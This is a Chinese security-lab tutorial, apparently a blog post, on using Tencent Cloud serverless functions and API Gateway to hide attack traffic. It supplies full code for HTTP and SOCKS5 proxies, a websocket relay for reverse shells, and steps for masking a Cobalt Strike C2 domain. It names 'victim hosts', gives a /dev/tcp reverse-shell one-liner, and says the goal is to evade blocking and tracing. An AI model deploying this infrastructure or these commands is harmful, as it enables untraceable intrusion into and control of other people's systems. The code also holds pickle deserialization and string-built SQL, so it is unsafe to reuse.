——D&X安全实验室


文中代码已上传至Github:https://github.com/Potato-py/flowHiding_SCF


目录

Part1 前言

1 Serverless

2 SCF

Part2 HTTP代理

2.1 新建云函数:https://console.cloud.tencent.com/scf/list

2.2 环境信息配置

2.3 脚本部署

2.4 高级配置-超时时间设置最大

2.5 触发器配置-选定由API网关触发

2.3 设置API网关路径,并获取最终API网管访问地址

2.4 本地流量转发

Part3 socks5代理

3.1 SCF构建(同http代理SCF构建方式)

3.2 VPS部署socksClient(注:Python>=3.8)

Part4 反弹Shell

3 因此我们可以利用websocket进行socks5代理反弹Shell

4 项目配置

数据库配置

函数配置

5 具体利用步骤:

5.1 上传/远程下载websocat工具到受害主机

5.2 受害主机执行工具转发端口 websocat -E --text tcp-l:127.0.0.1:12345 ws://API网关地址

5.3 反弹shell到本地端口 bash -i >& /dev/tcp/127.0.0.1/12345 0>&1

5.4 攻击者连接 ws://API网关地址 ,通过云函数进行消息中转

Part5 C2域名隐藏


Part1 前言

1 Serverless

无服务器(Serverless)不是表示没有服务器,而表示当您在使用 Serverless 时,您无需关心底层资源,也无需登录服务器和优化服务器,只需关注最核心的代码片段,即可跳过复杂的、繁琐的基本工作。核心的代码片段完全由事件或者请求触发,平台根据请求自动平行调整服务资源。Serverless 拥有近乎无限的扩容能力,空闲时,不运行任何资源。代码运行无状态,可以轻易实现快速迭代、极速部署。

2 SCF

腾讯云云函数(Serverless Cloud Function,SCF)是腾讯云为企业和开发者们提供的无服务器执行环境,帮助您在无需购买和管理服务器的情况下运行代码, 是实时文件处理和数据处理等场景下理想的计算平台。 您只需使用 SCF 平台支持的语言编写核心代码并设置代码运行的条件,即可在腾讯云基础设施上弹性、安全地运行代码。

可利用云函数(SCF)构建Http/socks代理,可通过 API 网关触发器进行触发,通过API接受来自客户端的数据,出发网关触发器将请求转发出去(类似于SSRF)。这时候目标机收到的请求来源为腾讯云服务器,而非个人名下服务器。

每个用户在每个地区只有5个随机出口IP,但会根据您的命名空间以及选择的私有网络不同而变化

因此我们可以通过创建不同区域的云函数,获取更多出口IP,以此来实现封无可封,查无可查。

Part2 HTTP代理

2.1 新建云函数:https://console.cloud.tencent.com/scf/list

2.2 环境信息配置

2.3 脚本部署

# -*- coding: utf8 -*-#
import requests, json, base64, sys
import pickledef main_handler(event: dict, context: dict):data = event["body"]kwargs = json.loads(data)kwargs['data'] = base64.b64decode(kwargs['data'])try:req = requests.request(**kwargs, verify=False, allow_redirects=False)serializedReq = pickle.dumps(req)return {"isBase64Encoded": False,"statusCode": 200,"headers": {},#不要强制格式哦,会报错"body": base64.b64encode(serializedReq).decode("utf-8"),}except Exception as e:#可以以集群方式返回结果抛出异常exc_type, exc_value, exc_traceback = sys.exc_info()return {"isBase64Encoded": False,"statusCode": 200,"headers": {},"body": str(exc_value).encode().decode("utf-8")#base64.b64encode(bytes(str(exc_value),'utf-8')).decode("utf-8"),}
  • 安装python脚本用到的数据序列化/反序列化三方组件:pip3 install pickle-mixin

2.4 高级配置-超时时间设置最大

2.5 触发器配置-选定由API网关触发

2.3 设置API网关路径,并获取最终API网管访问地址

https://console.cloud.tencent.com/apigateway/service

2.4 本地流量转发

本地运行mitmdump加载配置脚本py,将本地流量转发至API网关。

  • mitmdump安装

pip3 install mitmproxy

  • mitmdump证书安装(用于访问https)

- 方式一:默认路径:C:/Users/当前用户/.mitmproxy/mitmproxy-ca-cert.cer 进行安装 (文件夹默认隐藏,需要设置显示)

- 方式二(推荐):线上下载并安装:

  • 编写mitmdump的配置脚本py:mitmproxyConfig.py

# -*- coding: utf8 -*-#
import json,random,base64
import pickle
from typing import List
from urllib.parse import urlparse
import mitmproxyscf_servers: List[str] = ["http://service-nt0li2x2-1306719530.hk.apigw.tencentcs.com:80"]def request(flow: mitmproxy.http.HTTPFlow):scfServer = random.choice(scf_servers)r = flow.requestheaders=dict(r.headers)headers.update({"Connection": "close"})#设置短连接data = {"method": r.method,"url": r.pretty_url,"headers": dict(headers),#dict(r.headers),"cookies": dict(r.cookies),"params": dict(r.query),"data": base64.b64encode(r.raw_content).decode("ascii"),}flow.request = flow.request.make("POST",url=scfServer,content=json.dumps(data),headers={"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Encoding": "gzip, deflate, compress","Accept-Language": "en-us;q=0.8","Cache-Control": "max-age=0","User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36","Connection": "close","Host": urlparse(scfServer).netloc,},)def response(flow: mitmproxy.http.HTTPFlow):if flow.response.status_code != 200:mitmproxy.ctx.log.warn("Error")mitmproxy.ctx.log.warn(flow.response.text)if flow.response.status_code == 401:flow.response.headers = mitmproxy.net.http.Headers(content_type="text/html;charset=utf-8")returnif flow.response.status_code == 433:mitmproxy.ctx.log.warn("SCF连接超时!")if flow.response.status_code == 200:body = flow.response.content.decode("utf-8")#print(body)try:resp = pickle.loads(base64.b64decode(body))req = flow.response.make(status_code=resp.status_code,headers=dict(resp.headers),content=resp.content,)except:resp = bodyreq = flow.response.make(status_code=400,headers={"Content-Type":"text/html;charset=utf-8"},content=resp,)flow.response = req

经反复测试,转发数据需要经过base64编码进行传输,否则强转utf-8会报错:'utf-8' codec can't decode byte 0x80 in position 0: invalid start byte

亦尝试decode('utf-8','ignore')忽略不能转部分,但是发现存在的地方比较多,如图下,炸裂,顾采用base64加密成byte传输,最后base64解密成utf-8。

  • 运行命令: mitmdump -s mitmproxyConfig.py -p 8080 --no-http2

VPS上运行时需要添加 --set block_global=false

  • 设置代理 设置http/https代理方式略过(浏览器、脚本、扫描工具等都可以挂http代理)

此时所有http/https流量就走的是我们SCF分配的随机IP

  • 同样我们的py脚本也可以使用此代理:

  • 随机分配的IP可以丢微步看看暴露有啥信息

Part3 socks5代理

SOCK5代理协议可以说是对HTTP代理协议的加强,它不仅是对HTTP协议进行代理,而是对所有向外的连接进行代理,是没有协议限制的。也就是说,只要你向外连接,它就给你代理,并不管你用的是什么协议,极大的弥补了HTTP代理协议的不足,使得很多在HTTP代理情况下无法使用的网络软件都可以使用

3.1 SCF构建(同http代理SCF构建方式)

  • SCF脚本如下:

import json
import socket
import selectbridge_ip = "http://xxx.xxx.xxx.xxx/" #vps地址
bridge_port = 53203def main_handler(event, context):data = json.loads(event["body"])out = socket.socket(socket.AF_INET, socket.SOCK_STREAM)out.connect((data["host"], data["port"]))bridge = socket.socket(socket.AF_INET, socket.SOCK_STREAM)bridge.connect((bridge_ip, bridge_port))bridge.send(data["uid"].encode("ascii"))while True:readable, _, _ = select.select([out, bridge], [], [])if out in readable:data = out.recv(4096)bridge.send(data)if bridge in readable:data = bridge.recv(4096)out.send(data)

3.2 VPS部署socksClient(注:Python>=3.8)

  • bridge.py

#pyName:bridge.py
import asynciofrom utils import print_time
from models import Conn, uid_socketasync def scf_handle(reader: asyncio.StreamReader, writer: asyncio.StreamWriter):bridge = Conn("Bridge", reader, writer)uid = await bridge.read(4)uid = uid.decode("ascii")client = uid_socket[uid]bridge.target = client.targetbridge_addr, _ = bridge.writer.get_extra_info("peername")print_time(f"Tencent IP:{bridge_addr} <=> {client.target} established")await socks5_forward(client, bridge)async def socks5_forward(client: Conn, target: Conn):async def forward(src: Conn, dst: Conn):while True:try:data = await src.read(4096)if not data:breakawait dst.write(data)except RuntimeError as e:print_time(f"RuntimeError occured when connecting to {src.target}")print_time(f"Direction: {src.role} => {dst.role}")print(e)except ConnectionResetError:print_time(f"{src.add} sends a ConnectionReset")passawait asyncio.sleep(0.01)tasks = [forward(client, target), forward(target, client)]await asyncio.gather(*tasks)
  • ridge.py

#pyName:ridge.py
import asyncio
from typing import Union
from collections import OrderedDictimport aiohttpclass Conn:def __init__(self,role: str,reader: asyncio.StreamReader,writer: asyncio.StreamWriter,) -> None:self.target = Noneself.role = roleself.reader = readerself.writer = writerasync def read(self, size: int):return await self.reader.read(size)async def write(self, data: Union[str, bytes]):self.writer.write(data)await self.writer.drain()def close(self):self.writer.close()class LRUDict(OrderedDict):def __init__(self, capacity):self.capacity = capacityself.cache = OrderedDict()def get(self, key):value = self.cache.pop(key)self.cache[key] = valuereturn valuedef set(self, key, value):if key in self.cache:self.cache.pop(key)elif len(self.cache) == self.capacity:self.cache.popitem(last=True)self.cache[key] = valueclass Request:def __init__(self):self._session = Noneasync def init_session(self):self._session = aiohttp.ClientSession()async def request(self, method, url, bypass_cf=False, **kwargs):await self._session.request(method=method, url=url, **kwargs)async def post(self, url, **kwargs):return await self.request("POST", url, **kwargs)async def close(self):await self._session.close()http = Request()
uid_socket = LRUDict(150)
  • utils.py

#pyName:
import sys
import asyncio
import argparse
from datetime import datetime, timezone, timedeltatimezone(timedelta(hours=8))def print_time(data):print(f'{datetime.now().strftime("%Y-%m-%d %H:%M:%S")} {data}')def parse_error(errmsg):print("Usage: python " + sys.argv[0] + " [Options] use -h or --help for help")sys.exit()def parse_args():parser = argparse.ArgumentParser(description="SCF Socks5 Proxy Server")parser.error = parse_errorparser.add_argument("-u", "--scf-url", type=str, help="API Gate Way URL", required=True)parser.add_argument("-l","--listen",default="0.0.0.0",metavar="ip",help="Bind address to listen, default to 0.0.0.0",)parser.add_argument("-sp","--socks-port",type=int,help="Port accept connections from client",required=True,)parser.add_argument("-bp","--bridge-port",type=int,help="Port accept connections from SCF",required=True,)parser.add_argument("--user", type=str, help="Authentication username")parser.add_argument("--passwd", type=str, help="Authentication password")args = parser.parse_args()return argsdef cancel_task(msg):print_time(f"[ERROR] {msg}")task = asyncio.current_task()task.cancel()
  • socks5.py

#pyName:socks5.py
import asyncio
import argparse
from socket import inet_ntoa
from functools import partialimport uvloop
import shortuuidfrom bridge import scf_handle
from models import Conn, http, uid_socket
from utils import print_time, parse_args, cancel_taskasync def socks_handle(args: argparse.Namespace, reader: asyncio.StreamReader, writer: asyncio.StreamWriter
):client = Conn("Client", reader, writer)await socks5_auth(client, args)remote_addr, port = await socks5_connect(client)client.target = f"{remote_addr}:{port}"uid = shortuuid.ShortUUID().random(length=4)uid_socket[uid] = clientdata = {"host": remote_addr, "port": port, "uid": uid}await http.post(args.scf_url, json=data)async def socks5_auth(client: Conn, args: argparse.Namespace):ver, nmethods = await client.read(2)if ver != 0x05:client.close()cancel_task(f"Invalid socks5 version: {ver}")methods = await client.read(nmethods)if args.user and b"\x02" not in methods:cancel_task(f"Unauthenticated access from {client.writer.get_extra_info('peername')[0]}")if b"\x02" in methods:await client.write(b"\x05\x02")await socks5_user_auth(client, args)else:await client.write(b"\x05\x00")async def socks5_user_auth(client: Conn, args: argparse.Namespace):ver, username_len = await client.read(2)if ver != 0x01:client.close()cancel_task(f"Invalid socks5 user auth version: {ver}")username = (await client.read(username_len)).decode("ascii")password_len = ord(await client.read(1))password = (await client.read(password_len)).decode("ascii")if username == args.user and password == args.passwd:await client.write(b"\x01\x00")else:await client.write(b"\x01\x01")cancel_task(f"Wrong user/passwd connection from {client.writer.get_extra_info('peername')[0]}")async def socks5_connect(client: Conn):ver, cmd, _, atyp = await client.read(4)if ver != 0x05:client.close()cancel_task(f"Invalid socks5 version: {ver}")if cmd != 1:client.close()cancel_task(f"Invalid socks5 cmd type: {cmd}")if atyp == 1:address = await client.read(4)remote_addr = inet_ntoa(address)elif atyp == 3:addr_len = await client.read(1)address = await client.read(ord(addr_len))remote_addr = address.decode("ascii")elif atyp == 4:cancel_task("IPv6 not supported")else:cancel_task("Invalid address type")port = int.from_bytes(await client.read(2), byteorder="big")# Should return bind address and port, but it's ok to just return 0.0.0.0await client.write(b"\x05\x00\x00\x01\x00\x00\x00\x00\x00\x00")return remote_addr, portasync def main():args = parse_args()handle = partial(socks_handle, args)if not args.user:print_time("[ALERT] Socks server runs without authentication")await http.init_session()socks_server = await asyncio.start_server(handle, args.listen, args.socks_port)print_time(f"SOCKS5 Server listening on: {args.listen}:{args.socks_port}")await asyncio.start_server(scf_handle, args.listen, args.bridge_port)print_time(f"Bridge Server listening on: {args.listen}:{args.bridge_port}")try:await socks_server.serve_forever()except asyncio.CancelledError:await http.close()if __name__ == "__main__":uvloop.install()try:asyncio.run(main())except KeyboardInterrupt:print_time("[INFO] User stoped server")
  • requirements

aiohttp==3.7.4.post0
async-timeout==3.0.1
attrs==20.3.0
chardet==4.0.0
idna==3.1
multidict==5.1.0
shortuuid==1.0.1
typing-extensions==3.7.4.3
uvloop==0.15.2
yarl==1.6.3
  • python3 -m venv .venv

  • source .venv/bin/activate

  • pip3 install -r requirements.txt

  • 开启VPS转发服务:

python3 socks5.py -u "https://service-xxx.sh.apigw.tencentcs.com/release/xxx" -bp 53203 -sp 53201 --user test --passwd test

python3 socks5.py -u API 网关提供的地址 -bp 监听来自云函数连接的端口 -sp SOCKS5 代理监听的端口 --user  SOCKS5 服务器对连接进行身份验证 --passwd  SOCKS5 服务器对连接进行身份验证

Part4 反弹Shell

当客户端有消息发出时,会先传递给 API 网关,再由 API 网关触发云函数执行。当服务端云函数要向客户端发送消息时,会先由云函数将消息 POST 到 API 网关的反向推送链接,再由 API 网关向客户端完成消息的推送。具体的实现架构如下:

因此我们可以利用websocket进行socks5代理反弹Shell

4 项目配置

数据库配置

本项目需要一个允许外部连接的 MySQL 数据库。数据库配置语句如下:

create database SCF;
use SCF;
create table Connections (ConnectionID varchar(128) NOT NULL,Date datetime,is_user tinyint
)

修改 src 文件夹内所有文件中的如下变量

db_host = 数据库 host
db_port = 数据库端口
db_user = 数据库用户
db_pass = 数据库密码push_back_host = 等后续配置 API 网关后填写

函数配置

  1. 参照 [HTTP 代理配置] 新建三个自定义函数,分别命名为 register, transmission, delete。

  • register.py

pyName:register.py
# -*- coding: utf8 -*-
import pytz
import datetime
import requests
import pymysql.cursorspush_back_host = ""
db_host = ""
db_user = ""
db_pass = ""
db_port = 123db = "SCF"
db_table = "Connections"
tz = pytz.timezone("Asia/Shanghai")def send(connectionID, data):retmsg = {"websocket": {"action": "data send","secConnectionID": connectionID,"dataType": "text","data": data,}}requests.post(push_back_host, json=retmsg)def close_ws(connectionID):msg = {"websocket": {"action": "closing", "secConnectionID": connectionID}}requests.post(push_back_host, json=msg)def record_connectionID(connectionID):try:conn = pymysql.connect(host=db_host,user=db_user,password=db_pass,port=db_port,db=db,charset="utf8",cursorclass=pymysql.cursors.DictCursor,)with conn.cursor() as cursor:sql = f"use {db}"cursor.execute(sql)time = datetime.datetime.now(tz).strftime("%Y-%m-%d %H:%M:%S")sql = f"insert INTO {db_table} (`ConnectionID`, `is_user`, `Date`) VALUES ('{str(connectionID)}', 0, '{time}')"cursor.execute(sql)conn.commit()except Exception as e:send(connectionID, f"[Error]: {e}")close_ws(connectionID)finally:conn.close()def main_handler(event, context):if "requestContext" not in event.keys():return {"errNo": 101, "errMsg": "not found request context"}if "websocket" not in event.keys():return {"errNo": 102, "errMsg": "not found web socket"}connectionID = event["websocket"]["secConnectionID"]retmsg = {"errNo": 0,"errMsg": "ok","websocket": {"action": "connecting", "secConnectionID": connectionID},}record_connectionID(connectionID)return retmsg
  • transmission.py

#pyName:transmission.py
# -*- coding: utf8 -*-
from os import close
import pytz
import requests
import pymysql.cursorspush_back_host = ""
db_host = ""
db_user = ""
db_pass = ""
db_port = 123
PASSWORD = "test"db = "SCF"
db_table = "Connections"
tz = pytz.timezone("Asia/Shanghai")def send(connectionID, data):retmsg = {"websocket": {"action": "data send","secConnectionID": connectionID,"dataType": "text","data": data,}}requests.post(push_back_host, json=retmsg)def close_ws(connectionID):msg = {"websocket": {"action": "closing", "secConnectionID": connectionID}}requests.post(push_back_host, json=msg)def get_connectionIDs(conn):with conn.cursor() as cursor:sql = f"use {db}"cursor.execute(sql)sql = f"select * from {db_table}"cursor.execute(sql)result = cursor.fetchall()connectionIDs = {c["ConnectionID"]: c["is_user"] for c in result}return connectionIDsdef update_user_type(conn, connectionID):with conn.cursor() as cursor:sql = f"use {db}"cursor.execute(sql)sql = f"update {db_table} set is_user=True where ConnectionID='{connectionID}'"cursor.execute(sql)conn.commit()def main_handler(event, context):if "websocket" not in event.keys():return {"errNo": 102, "errMsg": "not found web socket"}data = event["websocket"]["data"].strip()current_connectionID = event["websocket"]["secConnectionID"]if data == "close":send(current_connectionID, "[INFO] current connection closed")close_ws(current_connectionID)returnif data == "help":msg = """Commandsauth PASSWORD - provide a password to set current connection to be a userclose - close curren websocket connectioncloseall - close all websocket connectionshelp - show this help message"""send(current_connectionID, msg)returnconn = pymysql.connect(host=db_host,user=db_user,password=db_pass,port=db_port,db=db,charset="utf8",cursorclass=pymysql.cursors.DictCursor,)connectionIDs = get_connectionIDs(conn)if data[:5] == "auth ":try:password = data.split()[1]except IndexError:password = Noneif password == PASSWORD:send(current_connectionID, "[INFO] AUTH SUCCESS")update_user_type(conn, current_connectionID)else:send(current_connectionID, "[ERROR] AUTH FAILED")if data == "closeall":send(current_connectionID, "[INFO] all connections closed")for ID in connectionIDs.keys():close_ws(ID)returnis_current_user = connectionIDs.pop(current_connectionID)for ID, is_user in connectionIDs.items():if is_current_user:send(ID, data)elif is_user:send(ID, data)return "send success"
  • delete.py

#pcName:delete.py
# -*- coding: utf8 -*-
import pytz
import pymysql.cursorspush_back_host = ""
db_host = ""
db_user = ""
db_pass = ""
db_port = 123db = "SCF"
db_table = "Connections"
tz = pytz.timezone("Asia/Shanghai")def delete_connectionID(connectionID):conn = pymysql.connect(host=db_host,user=db_user,password=db_pass,port=db_port,db=db,charset="utf8",cursorclass=pymysql.cursors.DictCursor,)with conn.cursor() as cursor:sql = f"use {db}"cursor.execute(sql)sql = f"delete from {db_table} where ConnectionID ='{connectionID}'"cursor.execute(sql)conn.commit()def main_handler(event, context):if "websocket" not in event.keys():return {"errNo": 102, "errMsg": "not found web socket"}connectionID = event["websocket"]["secConnectionID"]delete_connectionID(connectionID)return event
  1. 进入 API 网关配置,新建如下配置服务

  1. 新建 API,前端类型选择 WS,其余默认,进入下一步

  2. 开启设置注册函数、清理函数。后端类型,函数,后端超时时间分别配置为如下:

  1. 点击立即完成,发布服务

  2. 点击生成的 api,进入信息展示页面获取如下信息,将推送地址填入文件中的 push_back_host 变量。

  1. 修改 transmission.py 中的 PASSWORD 变量,该变量将用于客户端连接 ws 后将连接认证为用户。

  2. 分别复制三个文件的内容到对应的云函数中并部署。

5 具体利用步骤:

5.1 上传/远程下载websocat工具到受害主机

5.2 受害主机执行工具转发端口 websocat -E --text tcp-l:127.0.0.1:12345 ws://API网关地址

5.3 反弹shell到本地端口 bash -i >& /dev/tcp/127.0.0.1/12345 0>&1

5.4 攻击者连接 ws://API网关地址 ,通过云函数进行消息中转

Part5 C2域名隐藏

  1. 进行API网管添加:https://console.cloud.tencent.com/apigateway/service?rid=1

  1. 自定义API名称,点击下一步

  1. 点击下一步,进行后台配置选择后台为公网URL/IP

  1. CS监听器配置


“D&X 安全实验室”

专注渗透测试技术

全球最新网络攻击技术

基于Serverless的流量隐匿(四个方面)相关推荐

  1. 探讨视频云与边缘云平台的竞争力 ——基于Serverless的端边云一体化媒体网络...

    点击上方"LiveVideoStack"关注我们 视频在边缘的创新方向在哪?下一代视频云平台什么样?本次LiveVideoStackCon 2021 音视频技术大会 北京站 我们邀 ...

  2. 基于Serverless的端边云一体化媒体网络

    摘要:视频在边缘的创新方向在哪?下一代视频云平台什么样? 本文分享自华为云社区<探讨视频云与边缘云平台的竞争力--基于Serverless的端边云一体化媒体网络>,作者/卢志航,整理 / ...

  3. GMTC 2021 演讲 《字节跳动基于 Serverless 的前端研发模式升级》

    点击上方 程序员成长指北,关注公众号 回复1,加入高级Node交流群 大家好,我叫王磊,来自于字节跳动 Web Infra,今天由我给大家分享<字节跳动基于 Serverless 的前端研发模式 ...

  4. MaxCompute,基于Serverless的高可用大数据服务

    2019年1月18日,由阿里巴巴MaxCompute开发者社区和阿里云栖社区联合主办的"阿里云栖开发者沙龙大数据技术专场"走近北京联合大学,本次技术沙龙上,阿里巴巴高级技术专家吴永 ...

  5. 飞猪基于 Serverless 的云+端实践与思考

    作者 | 王恒飞(承荫) 来源 | 阿里巴巴云原生公众号 本文整理自飞猪旅行前端技术专家–王恒飞(承荫)在[阿里云 Serverless Developer Meetup 上海站]上的分享.点击查看直 ...

  6. MaxCompute,基于Serverless的高可用大数据服务 1

    为什么80%的码农都做不了架构师?>>>    摘要:2019年1月18日,由阿里巴巴MaxCompute开发者社区和阿里云栖社区联合主办的"阿里云栖开发者沙龙大数据技术专 ...

  7. vsscode beego 没有提示_轻松搭建基于 Serverless 的 Go 应用(Gin、Beego 举例)

    首先介绍下在本文出现的几个比较重要的概念: 函数计算(Function Compute): 函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传.函数计算准备计 ...

  8. tcpdump使用实例——基于ip统计流量

    自由转载 ^_^ 同时请注明原文出处:http://www.cnblogs.com/wangvsa/archive/2012/07/16/2593551.html tcpdump - dump tra ...

  9. 轻松搭建基于Serverless的Go应用(Gin、Beego 举例)

    首先介绍下在本文出现的几个比较重要的概念: 函数计算(Function Compute): 函数计算是一个事件驱动的服务,通过函数计算,用户无需管理服务器等运行情况,只需编写代码并上传.函数计算准备计 ...

  10. 浅析基于 Serverless 的前后端一体化框架

    概述 Serverless 是一种"无服务器架构"模式,它无需关心程序运行环境.资源及数量,只需要将精力聚焦到业务逻辑上的技术.基于 Serverless 开发 web 应用,架构 ...

最新文章

  1. java web的ssh框架_JavaWeb_(SSH论坛)_二、框架整合
  2. java B2B2C Springboot电子商务平台源码-SSO单点登录之OAuth2.0登录认证
  3. 【转】XMPP_3920_最靠谱的中文翻译文档
  4. 安装了git以后,idea类名颜色的含义
  5. 线性规划图解法求最优解_干货 | 线性规划知识点汇总
  6. 数据库经典DB2在技术前沿展现王者风范
  7. 对比关系生成模型(Comparative Relation Generative Model)
  8. 在线报刊html代码,数字报纸HTML版本
  9. 3dmax测试软件自动关闭,3dmax软件会自动关闭解决方案
  10. macos sierra_如何在macOS Sierra中恢复“剩余电池时间”
  11. 个人收集的IT技术网站集合,涉及web前后端,大数据,UI设计等。
  12. Excel小技巧,隔行变色,多行变色
  13. html 操作cookie,HtmlUnit 模拟浏览器以及Cookie使用示例
  14. nginx 解决 405 not allowed错误
  15. matlab中complex,complex_-complex在C语言中是什么意思呀!
  16. 「cocos2d-x」垂直射击游戏之宇智波鼬 VS 九尾狐(1)
  17. “左眼跳财、右眼跳灾”----科学解释
  18. TarsGo 性能提升之路
  19. 一、Blender的基础操作
  20. 为什么是List list=new ArrayList();?

热门文章

  1. no suitable HttpMessageConverter found for response type 异常
  2. 软件License设计思路与实现方案
  3. python绘图黄金螺旋_教案-for循环应用之“黄金螺旋-信息技术高中
  4. Laravel数据库 Eloquent 操作返回值
  5. AEMDA: Inferring miRNA-disease associations based on deep autoencoder
  6. Rank Scores(分数排序)
  7. linux内核 v4l2编译,Linux之V4L2基础编程
  8. Webx的services
  9. 聊聊那些我们不应该被百度惯坏的搜索技巧
  10. 五笔难拆字拆分方法汇总及详解